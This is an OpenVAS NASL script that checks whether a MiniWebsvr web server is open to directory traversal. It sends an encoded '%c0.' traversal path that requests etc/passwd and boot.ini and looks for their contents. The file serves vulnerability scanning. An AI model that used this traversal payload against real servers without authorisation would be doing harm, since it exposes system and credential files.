MiniWebsvr URI Directory Traversal Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_miniwebsvr_40133.nasl 5390 2017-02-21 18:39:27Z mime $
#
# MiniWebsvr URI Directory Traversal Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "MiniWebsvr is prone to a directory-traversal vulnerability because it
fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to traverse through
arbitrary directories and gain access to sensitive information.

MiniWebsvr 0.0.10 is vulnerable; other versions may also be affected.";


if (description)
{
 script_id(100638);
 script_version("$Revision: 5390 $");
 script_tag(name:"last_modification", value:"$Date: 2017-02-21 19:39:27 +0100 (Tue, 21 Feb 2017) $");
 script_tag(name:"creation_date", value:"2010-05-14 12:04:31 +0200 (Fri, 14 May 2010)");
 script_bugtraq_id(40133);
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

 script_name("MiniWebsvr URI Directory Traversal Vulnerability");

 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/40133");
 script_xref(name : "URL" , value : "http://miniwebsvr.sourceforge.net/");

 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web Servers");
 script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
 script_dependencies("gb_get_http_banner.nasl");
 script_mandatory_keys("MiniWebSvr/banner");
 script_require_ports("Services/www", 8080);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}


include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:8080);
if(!get_port_state(port))exit(0);

banner = get_http_banner(port: port);
if(!banner || "MiniWebSvr" >!< banner)exit(0);

trav = "/c0.%c0./%c0.%c0./%c0.%c0./c0.%c0./%c0.%c0./%c0.%c0./c0.%c0./%c0.%c0./%c0.%c0./c0.%c0./%c0.%c0./%c0.%c0./c0.%c0./%c0.%c0./%c0.%c0./c0.%c0./%c0.%c0./%c0.%c0./c0.%c0./%c0.%c0./%c0.%c0./";

files = make_array("root:.*:0:[01]:","etc/passwd","\[boot loader\]","boot.ini");

foreach file (keys(files)) {

  url = trav + files[file];

  if(http_vuln_check(port:port, url:url, pattern:file)) {
    security_message(port:port);
    exit(0);
  }   

}  

exit(0);